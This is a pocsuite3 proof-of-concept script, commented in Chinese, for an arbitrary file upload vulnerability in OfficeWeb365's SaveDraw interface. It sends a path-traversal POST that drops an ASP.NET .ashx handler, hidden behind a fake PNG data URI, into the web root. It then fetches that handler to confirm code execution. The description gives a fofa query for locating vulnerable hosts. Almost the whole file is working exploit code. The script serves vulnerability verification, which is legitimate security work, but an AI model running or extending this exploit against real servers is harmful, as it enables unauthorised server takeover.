OfficeWeb365_SaveDraw任意文件上传漏洞.py

#!/usr/bin/env python
# coding: utf-8
from collections import OrderedDict
from urllib.parse import urljoin
import re,random,hashlib,base64
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, OptString, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY


class POC(POCBase):
    vulID = '0'  # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
    version = '1'  #默认为1
    author = ['']  #  PoC作者的大名
    vulDate = '2023-08-15'  #漏洞公开的时间,不知道就写今天
    createDate = '2023-08-15'  # 编写 PoC 的日期
    updateDate = '2023-08-15'  # PoC 更新的时间,默认和编写时间一样
    references = ['']  # 漏洞地址来源,0day不用写
    name = ''  # PoC 名称
    appPowerLink = ''  # 漏洞厂商主页地址
    appName = ''  # 漏洞应用名称
    appVersion = ''''''  # 漏洞影响版本
    vulType = VUL_TYPE.UPLOAD_FILES #漏洞类型,类型参考见 漏洞类型规范表
    desc = '''
        fofa:"OfficeWeb365"
        OfficeWeb365 SaveDraw 接口存在任意文件上传漏洞，攻击者通过漏洞可以在服务器中上传任意文件获取服务器权限
    '''
  # 漏洞简要描述
    samples = ['']  # 测试样列,就是用 PoC 测试成功的网站
    install_requires = ['']  # PoC 第三方模块依赖，请尽量不要使用第三方模块，必要时请参考《PoC第三方模块依赖说明》填写
    pocDesc = '''
    检测:pocsuite -r .\poc++.py -u url(-f url.txt) --verify 
    '''
    category = POC_CATEGORY.EXPLOITS.REMOTE
    # 生成任意8位字符  
    def generate_random_string(selff,length=8):  
        chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'  
        return ''.join(random.choice(chars) for _ in range(length))
    # 使用MD5加密  
    def md5_encrypt(self,text):  
        m = hashlib.md5()  
        m.update(text.encode('utf-8'))  
        return m.hexdigest()
    def _verify(self):
        # 生成随机字符串并md5加密  
        random_string = self.generate_random_string()  
        encrypted_string = self.md5_encrypt(random_string)
        
        # base64编码
        # 原始字符串  
        original_string = encrypted_string
        # 将字符串转换为字节  
        original_bytes = original_string.encode('utf8')  
        # 使用Base64编码  
        encoded_bytes = base64.b64encode(original_bytes).decode()
        result = {}
        path ="/PW/SaveDraw?path=../../Content/img&idx=6.ashx"
        headers={
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36',
            'Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        payload ='''data:image/png;base64,01s34567890123456789y12345678901234567m91
<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.IO;
using System.Reflection;
using System.Text;
using System.Web;
using System.Web.SessionState;
using System.Security.Cryptography;
public class Handler : IHttpHandler, IRequiresSessionState{
    public void ProcessRequest(HttpContext context)  
    {  
        string input = "'''+str(encoded_bytes)+'''";  
        byte[] inputBytes = Convert.FromBase64String(input);  
        context.Response.BinaryWrite(inputBytes); 
				File.Delete(context.Server.MapPath(context.Request.FilePath));
    }  
    public bool IsReusable  
    {  
        get  
        {  
            return false;  
        }  
    }  
}
---'''
        try:  
            resq  = requests.post(url=self.url+path,headers=headers,data=payload,timeout=5,verify=False,allow_redirects=False)
            if resq.status_code == 200 and 'ok' in resq.text:
                shell_path = '/Content/img/UserDraw/drawPW6.ashx'
                #print(shell_path)
                resq_2  = requests.get(url=self.url+shell_path,headers=headers,timeout=5,verify=False)
                if encrypted_string in resq_2.text:
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['URL'] = self.url + path
                    result['VerifyInfo']['shell_path'] = self.url + shell_path
        except Exception as e:
            return
        return self.parse_output(result)         

    def _attack(self):
        return self._verify()
    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output

    def _shell(self):
        return

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output
    
register_poc(POC)